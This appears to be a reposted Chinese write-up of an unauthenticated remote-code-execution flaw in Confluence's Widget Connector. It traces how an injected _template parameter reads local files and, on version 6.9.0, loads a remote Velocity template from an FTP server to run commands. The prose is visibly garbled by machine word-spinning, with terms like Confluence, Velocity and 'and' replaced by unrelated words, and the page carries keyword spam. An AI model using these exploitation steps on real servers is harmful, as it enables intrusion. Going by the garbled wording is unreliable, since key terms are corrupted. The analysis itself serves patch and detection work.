中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Confluence未授權RCE的漏洞分析

發布時間:2021-12-22 23:48:01 來源:億速云 閱讀:125 作者:柒染 欄目:安全技術

這篇文章將為大家詳細講解有關如何進行Confluence未授權RCE的漏洞分析,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

看到官方發布了預警,于是開始了漏洞應急。漏洞描述中指出Confluence Server與Confluence數據中心中的Widget連接器存在服務端模板注入漏洞,攻擊者能利用此漏洞能夠實現目錄穿越與遠程代碼執行。    

如何進行Confluence未授權RCE的漏洞分析

確認漏洞點是Widget Connector,下載最新版的比對補丁,發現在com\atlassian\confluence\extra\widgetconnector\WidgetMacro.java里面多了一個過濾,這個應該就是這個漏洞最關鍵的地方。

如何進行Confluence未授權RCE的漏洞分析

可以看到

this.sanitizeFields = Collections.unmodifiableList(Arrays.asList(VelocityRenderService.TEMPLATE_PARAM));

TEMPLATE_PARAM的值就是_template,這個所以就是補丁了過濾傳入外部的_template參數。

public interface VelocityRenderService {
    public static final String WIDTH_PARAM = "width";
    public static final String HEIGHT_PARAM = "height";
    public static final String TEMPLATE_PARAM = "_template";

翻了一下Widget Connector里面的文件,發現TEMPLATE_PARAM就是模板文件的路徑。

public class FriendFeedRenderer implements WidgetRenderer {
    private static final String MATCH_URL = "friendfeed.com";
    private static final String PATTERN = "friendfeed.com/(\\w+)/?";
    private static final String VELOCITY_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm";
    private VelocityRenderService velocityRenderService;
......
    public String getEmbeddedHtml(String url, Map<String, String> params) {
        params.put(VelocityRenderService.TEMPLATE_PARAM, VELOCITY_TEMPLATE);
        return velocityRenderService.render(getEmbedUrl(url), params);
    }

加載外部的鏈接時,會調用相對的模板去渲染,如上,模板的路徑一般是寫死的,但是也有例外,補丁的作用也說明有人突破了限制,調用了意料之外的模板,從而造成了模板注入。

在了解了補丁和有了一些大概的猜測之后,開始嘗試。

首先先找到這個功能,翻了一下官方的文檔,找到了這個功能,可以在文檔中嵌入一些視頻,文檔之類的。

如何進行Confluence未授權RCE的漏洞分析

看到這個,有點激動了,因為在翻補丁的過程中,發現了幾個參數,urlwidthheight正好對應著這里,那_template的英文不是也。從這里傳遞進去的?

隨便找個的Youtube視頻插入試試,點擊預覽,抓包。

如何進行Confluence未授權RCE的漏洞分析

params中嘗試插入_template參數,好吧,沒啥反應..

如何進行Confluence未授權RCE的漏洞分析

開始調試模式,因為測試插入的是的Youtube視頻,所以調用的是com/atlassian/confluence/extra/widgetconnector/video/YoutubeRenderer.class

public class YoutubeRenderer implements WidgetRenderer, WidgetImagePlaceholder {private static final Pattern YOUTUBE_URL_PATTERN = Pattern.compile("https?://(.+\\.)?youtube.com.*(\\?v=([^&]+)).*$");private final PlaceholderService placeholderService;private final String DEFAULT_YOUTUBE_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm";......public String getEmbedUrl(String url) {Matcher youtubeUrlMatcher = YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url));return youtubeUrlMatcher.matches() ? String.format("//www.youtube.com/embed/%s?wmode=opaque", youtubeUrlMatcher.group(3)) : null;    }public boolean matches(String url) {return YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url)).matches();}private String verifyEmbeddedPlayerString(String url) {return !url.contains("feature=player_embedded&") ? url : url.replace("feature=player_embedded&", "");}public String getEmbeddedHtml(String url, Map<String, String> params) {return this.velocityRenderService.render(this.getEmbedUrl(url), this.setDefaultParam(params));}

getEmbeddedHtml下斷點,會先調用getEmbedUrl對用戶傳入的url進行正則匹配,因為我們傳入的是個正常的的Youtube視頻,所以這里是沒有問題的,調用然后setDefaultParam函數對傳入的其他參數進行處理。

 private Map<String, String> setDefaultParam(Map<String, String> params) {String width = (String)params.get("width");String height = (String)params.get("height");if (!params.containsKey("_template")) {params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm");}if (StringUtils.isEmpty(width)) {params.put("width", "400px");} else if (StringUtils.isNumeric(width)) {params.put("width", width.concat("px"));}if (StringUtils.isEmpty(height)) {params.put("height", "300px");} else if (StringUtils.isNumeric(height)) {params.put("height", height.concat("px"));}return params;}

取出width狀語從句:height來判斷是否為空,為空則設置默認值。的關鍵_template參數來了,如果外部傳入的參數沒有_template,則設置默認的的Youtube模板。如果傳入了,就使用傳入的,也就是說,AAAA是成功的傳進來了。

如何進行Confluence未授權RCE的漏洞分析

大概翻了一下Widget Connector里面的渲染器,大部分是不能設置_template的,是直接寫死了,也有一些例外,如Youtube,Viddler,DailyMotion等,是可以從外部傳入_template的。

傳遞能_template了,接下來看下是如何取模板和渲染模板的。

跟進this.velocityRenderService.render,就是也。com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class里面的render方法。

 public String render(String url, Map<String, String> params) {String width = (String)params.get("width");String height = (String)params.get("height");String template = (String)params.get("_template");if (StringUtils.isEmpty(template)) {template = "com/atlassian/confluence/extra/widgetconnector/templates/embed.vm";}if (StringUtils.isEmpty(url)) {return null;} else {Map<String, Object> contextMap = this.getDefaultVelocityContext();Iterator var7 = params.entrySet().iterator();while(var7.hasNext()) {Entry<String, String> entry = (Entry)var7.next();if (((String)entry.getKey()).contentEquals("tweetHtml")) {contextMap.put(entry.getKey(), entry.getValue());} else {contextMap.put(entry.getKey(), GeneralUtil.htmlEncode((String)entry.getValue()));}}contextMap.put("urlHtml", GeneralUtil.htmlEncode(url));if (StringUtils.isNotEmpty(width)) {contextMap.put("width", GeneralUtil.htmlEncode(width));} else {contextMap.put("width", "400");}if (StringUtils.isNotEmpty(height)) {contextMap.put("height", GeneralUtil.htmlEncode(height));} else {contextMap.put("height", "300");}return this.getRenderedTemplate(template, contextMap);}}

_template取出來賦值給template,其他傳遞進來的參數取出來經過判斷之后放入到contextMap,調用getRenderedTemplate函數,也就是調用VelocityUtils.getRenderedTemplate

  protected String getRenderedTemplate(String template, Map<String, Object> contextMap){return VelocityUtils.getRenderedTemplate(template, contextMap);}

一路調用,調用鏈如下圖,來到求最后/com/atlassian/confluence/util/velocity/ConfigurableResourceManager.classloadResource函數,來獲取模板。

如何進行Confluence未授權RCE的漏洞分析

這里調用了4個ResourceLoader去取模板。

com.atlassian.confluence.setup.velocity.HibernateResourceLoader
org.apache.velocity.runtime.resource.loader.FileResourceLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader

這里主要看下速度的自帶FileResourceLoader狀語從句:ClasspathResourceLoader

FileResourceLoader用戶會對傳入的模板路徑使用normalizePath函數進行校驗


如何進行Confluence未授權RCE的漏洞分析

可以看到,過濾了/../,這樣就導致沒有辦法跳目錄了。    
如何進行Confluence未授權RCE的漏洞分析

過濾路徑后調用findTemplate查找模板,可看到,會拼接一個固定的path,這是合流的安裝路徑。

如何進行Confluence未授權RCE的漏洞分析

現在也就是說可以利用FileResourceLoader來讀取合流目錄下面的文件了。

讀取嘗試/WEB-INF/web.xml文件,可以看到,是成功的加載到了該文件。

如何進行Confluence未授權RCE的漏洞分析

但是這個無法跳出合流的目錄,因為不能用/../

再來看下ClasspathResourceLoader

           public InputStream getResourceStream(String name) throws ResourceNotFoundException {        
       InputStream result = null;        
       if (StringUtils.isEmpty(name)) {        
           throw new ResourceNotFoundException("No template name provided");        
       } else {        
           try {        
               result = ClassUtils.getResourceAsStream(this.getClass(), name);        
......        
           }

跟進ClassUtils.getResourceAsStream

  public static InputStream getResourceAsStream(Class claz, String name) {while(name.startsWith("/")) {name = name.substring(1);}ClassLoader classLoader = Thread.currentThread().getContextClassLoader();InputStream result;if (classLoader == null) {classLoader = claz.getClassLoader();result = classLoader.getResourceAsStream(name);} else {result = classLoader.getResourceAsStream(name);if (result == null) {classLoader = claz.getClassLoader();if (classLoader != null) {result = classLoader.getResourceAsStream(name);}}}return result;}

會跳到/org/apache/catalina/loader/WebappClassLoaderBase.class

如何進行Confluence未授權RCE的漏洞分析跟進,發現會拼接/WEB-INF/classes,其中而且也是調用了normalize對傳入的路徑進行過濾..

如何進行Confluence未授權RCE的漏洞分析還是這里可以用../跳一級目錄。

嘗試讀取一下../web.xml,可以看到,也是可以讀取成功的,但是仍然無法跳出目錄。

如何進行Confluence未授權RCE的漏洞分析我這里測試用的版本是6.14.1,而后嘗試了file://http://https://都沒有成功。后來我嘗試把曲奇刪掉,發現還是可以讀取文件,確認了這個漏洞不需要權限,但是跳不出目錄。應急就在這里卡住了。

而后的幾天,大佬有說用file://協議可以跳出目錄限制,我驚了,我確定當時是已經試過了,沒有成功的。看了大佬的截圖,發現用的是6.9.0的版本,我下載了,嘗試了一下,發現真的可以。

還是問題在ClasspathResourceLoader上面,步驟和之前的是一樣的,到斷/org/apache/catalina/loader/WebappClassLoaderBase.classgetResourceAsStream方法

拼接前面/WEB-INF/classes電子雜志失敗后,繼續往下進行。

如何進行Confluence未授權RCE的漏洞分析跟進findResource,函數前面仍然獲取失敗

如何進行Confluence未授權RCE的漏洞分析關鍵的地方就在這里,會調用super.findResource(name),這里返回了網址,也就是能獲取到對象。

如何進行Confluence未授權RCE的漏洞分析不僅如此,這里還可以使用其他協議(HTTPS,FTP等)獲取遠程的對象,意味著可以加載遠程的對象。

如何進行Confluence未授權RCE的漏洞分析獲取到URL對象之后,繼續回到之前的getResourceAsStream,可以看到,當返回的URL不為空時,

調用會url.openStream()電子雜志數據。

如何進行Confluence未授權RCE的漏洞分析最終獲取到數據給速度渲染。

嘗試一下    
如何進行Confluence未授權RCE的漏洞分析至于6.14.1為啥不行,趕著應急,后續會跟,如果有新的發現,會同步上來,只目前看到ClassLoader不一樣。

6.14.1    
如何進行Confluence未授權RCE的漏洞分析6.9.0

如何進行Confluence未授權RCE的漏洞分析這兩個裝載機的關系如下

如何進行Confluence未授權RCE的漏洞分析現在可以加載本地和遠程模板了,可以嘗試進行RCE。

關于速度的RCE,基本上有效載荷都來源于15年入侵者的服務端模板注入的議題,但是在合流上用不了,因為在調用方法的時候會經過velocity-htmlsafe-1.5.1.jar,里面多了一些過濾和限制。但是仍然可以利用反射來執行命令。

python -m pyftpdlib -p 2121開啟一個簡單的FTP服務器,將有效載荷保存成rce.vm,保存在當前目錄。

_template設置分類中翻譯ftp://localhost:2121/rce.vm,發送,成功執行命令。

如何進行Confluence未授權RCE的漏洞分析對于命令回顯,同樣可以使用反射構造出有效載荷,執行ipconfig的查詢查詢結果。

如何進行Confluence未授權RCE的漏洞分析漏洞影響

根據ZoomEye網絡空間搜索引擎對關鍵字“X-Confluence”進行搜索,共得到61,856條結果,主要分布美國,德國,中國等國家。

如何進行Confluence未授權RCE的漏洞分析全球分布(非漏洞影響范圍)

如何進行Confluence未授權RCE的漏洞分析    
如何進行Confluence未授權RCE的漏洞分析

中國分布(非漏洞影響范圍)

如何進行Confluence未授權RCE的漏洞分析

漏洞檢測

2019年4月4日,404實驗室公布了該漏洞的檢測PoC,可以利用這個PoC檢測Confluence是否受該漏洞影響。

如何進行Confluence未授權RCE的漏洞分析

關于如何進行Confluence未授權RCE的漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

栖霞市| 南丰县| 会昌县| 康保县| 芜湖县| 东阿县| 仪征市| 滕州市| 遂宁市| 仪陇县| 阳山县| 广州市| 徐州市| 德令哈市| 文昌市| 苏尼特左旗| 建平县| 壶关县| 沁源县| 石阡县| 张家港市| 泗阳县| 巍山| 岳阳市| 图片| 博罗县| 五峰| 昌乐县| 稷山县| 阳山县| 县级市| 宁南县| 武平县| 乡宁县| 游戏| 宜君县| 荣昌县| 广昌县| 靖州| 利津县| 榆林市|